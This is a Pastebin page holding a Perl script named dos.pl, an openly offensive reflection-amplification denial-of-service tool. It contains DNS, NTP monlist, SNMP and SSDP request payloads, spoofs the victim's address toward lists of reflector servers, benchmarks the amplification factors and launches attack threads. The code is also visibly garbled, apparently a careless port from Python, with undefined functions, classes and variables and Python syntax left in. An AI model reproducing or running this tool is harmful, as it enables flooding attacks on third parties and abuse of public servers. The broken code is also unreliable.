Advertisement
dev017

dos.pl

Aug 9th, 2023
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.12 KB | None | 0 0
  1. use strict;
  2. use warnings;
  3. use IO::Socket::INET;
  4.  
  5. my $target = $ARGV[0];
  6. my $threads = $ARGV[1];
  7. my $domains = $ARGV[2];
  8.  
  9. my $dns_file = "";
  10. my $ntp_file = "";
  11. my $snmp_file = "";
  12. my $ssdp_file = "";
  13.  
  14. my $dns_amplification = {};
  15. my $ntp_amplification = {};
  16. my $snmp_amplification = {};
  17. my $ssdp_amplification = {};
  18.  
  19. my $npackets = 0;
  20. my $nbytes = 0;
  21. my $files = {};
  22.  
  23. my %PORT = (
  24.     'dns' => 53,
  25.     'ntp' => 123,
  26.     'snmp' => 161,
  27.     'ssdp' => 1900
  28. );
  29.  
  30. my %PAYLOAD = (
  31.     'dns' => '{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01' .
  32.              '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00' .
  33.              '\x00\x00\x00\x00\x00\x00',
  34.     'snmp' => '\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c' .
  35.               '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01' .
  36.               '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06' .
  37.               '\x01\x02\x01\x05\x00',
  38.     'ntp' => '\x17\x00\x02\x2a' . '\x00' x 4,
  39.     'ssdp' => 'M-SEARCH * HTTP/1.1\r\n' .
  40.               'HOST: 239.255.255.250:1900\r\n' .
  41.               'MAN: "ssdp:discover"\r\n' .
  42.               'MX: 2\r\n' .
  43.               'ST: ssdp:all\r\n\r\n'
  44. );
  45.  
  46. sub Calc {
  47.     my ($n, $d, $unit) = @_;
  48.     my $i = 0;
  49.     my $r = $n;
  50.     while ($r / $d >= 1) {
  51.         $r = $r / $d;
  52.         $i += 1;
  53.     }
  54.     return sprintf("%.2f%s%s", $r, $SUFFIX{$i}, $unit);
  55. }
  56.  
  57. sub GetDomainList {
  58.     my ($domains) = @_;
  59.     my @domain_list = ();
  60.     if ($domains =~ /\.TXT/i) {
  61.         open(my $file, '<', $domains) or die "Could not open file '$domains' $!";
  62.         my $content = do { local $/; <$file> };
  63.         close($file);
  64.         $content =~ s/\r//g;
  65.         $content =~ s/ //g;
  66.         @domain_list = split(/\n/, $content);
  67.     } else {
  68.         @domain_list = split(/,/, $domains);
  69.     }
  70.     return @domain_list;
  71. }
  72.  
  73. sub Monitor {
  74.     print ATTACK;
  75.     my $FMT = "%-15s|%-15s|%-15s|%-15s\n";
  76.     my $start = time();
  77.     while (1) {
  78.         eval {
  79.             local $SIG{ALRM} = sub { die "alarm\n" };
  80.             alarm(1);
  81.             my $current = time() - $start;
  82.             my $bps = ($nbytes * 8) / $current;
  83.             my $pps = $npackets / $current;
  84.             my $out = sprintf($FMT, Calc($npackets, 1000), Calc($nbytes, 1024, 'B'), Calc($pps, 1000, 'pps'), Calc($bps, 1000, 'bps'));
  85.             print STDERR "\r$out" . ' ' x (60 - length($out));
  86.             alarm(0);
  87.         };
  88.         if ($@) {
  89.             if ($@ eq "alarm\n") {
  90.                 next;
  91.             } else {
  92.                 die;
  93.             }
  94.         }
  95.     }
  96. }
  97.  
  98. sub AmpFactor {
  99.     my ($recvd, $sent) = @_;
  100.     return sprintf("%sx (%dB -> %dB)", $recvd / $sent, $sent, $recvd);
  101. }
  102.  
  103. sub Benchmark {
  104.     my ($ddos) = @_;
  105.     print BENCHMARK;
  106.     my $i = 0;
  107.     foreach my $proto (keys %$files) {
  108.         open(my $f, '<', $files->{$proto}[0]) or die "Could not open file '$files->{$proto}[0]' $!";
  109.         while (my $soldier = <$f>) {
  110.             chomp($soldier);
  111.             if ($proto eq 'dns') {
  112.                 foreach my $domain (@{$ddos->{domains}}) {
  113.                     $i += 1;
  114.                     my ($recvd, $sent) = $ddos->GetAmpSize($proto, $soldier, $domain);
  115.                     if ($recvd / $sent) {
  116.                         print sprintf("%-8s|%-15s|%-23s|%s\n", $proto, $soldier, AmpFactor($recvd, $sent), $domain);
  117.                     } else {
  118.                         next;
  119.                     }
  120.                 }
  121.             } else {
  122.                 my ($recvd, $sent) = $ddos->GetAmpSize($proto, $soldier);
  123.                 print sprintf("%-8s|%-15s|%-23s|N/A\n", $proto, $soldier, AmpFactor($recvd, $sent));
  124.                 $i += 1;
  125.             }
  126.         }
  127.         print "Total tested: $i\n";
  128.         close($f);
  129.     }
  130. }
  131.  
  132. sub DDoS {
  133.     my ($target, $threads, $domains, $event) = @_;
  134.     my $self = {
  135.         target => $target,
  136.         threads => $threads,
  137.         event => $event,
  138.         domains => $domains
  139.     };
  140.     bless $self, 'DDoS';
  141.     return $self;
  142. }
  143.  
  144. sub stress {
  145.     my ($self) = @_;
  146.     for (my $i = 0; $i < $self->{threads}; $i++) {
  147.         my $t = threads->create(\&__attack, $self);
  148.         $t->detach();
  149.     }
  150. }
  151.  
  152. sub __send {
  153.     my ($self, $sock, $soldier, $proto, $payload) = @_;
  154.     my $udp = UDP->new(randint(1, 65535), $PORT{$proto}, $payload)->pack($self->{target}, $soldier);
  155.     my $ip = IP->new($self->{target}, $soldier, $udp, proto => socket.IPPROTO_UDP)->pack();
  156.     $sock->send($ip . $udp . $payload);
  157. }
  158.  
  159. sub GetAmpSize {
  160.     my ($self, $proto, $soldier, $domain) = @_;
  161.     my $sock = IO::Socket::INET->new(
  162.         PeerAddr => $soldier,
  163.         PeerPort => $PORT{$proto},
  164.         Proto => 'udp'
  165.     ) or die "Could not create socket: $!";
  166.     $self->__send($sock, $soldier, $proto, $PAYLOAD{$proto});
  167.     my $response;
  168.     $sock->recv($response, 1024);
  169.     my $recvd = length($response);
  170.     my $sent = length($PAYLOAD{$proto});
  171.     return ($recvd, $sent);
  172. }
  173.  
  174. sub main {
  175.     my $target = $ARGV[0];
  176.     my $threads = $ARGV[1];
  177.     my $domains = $ARGV[2];
  178.     my $event = threads->new(\&Monitor);
  179.     my $ddos = DDoS($target, $threads, $domains, $event);
  180.     $ddos->stress();
  181. }
  182.  
  183. main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement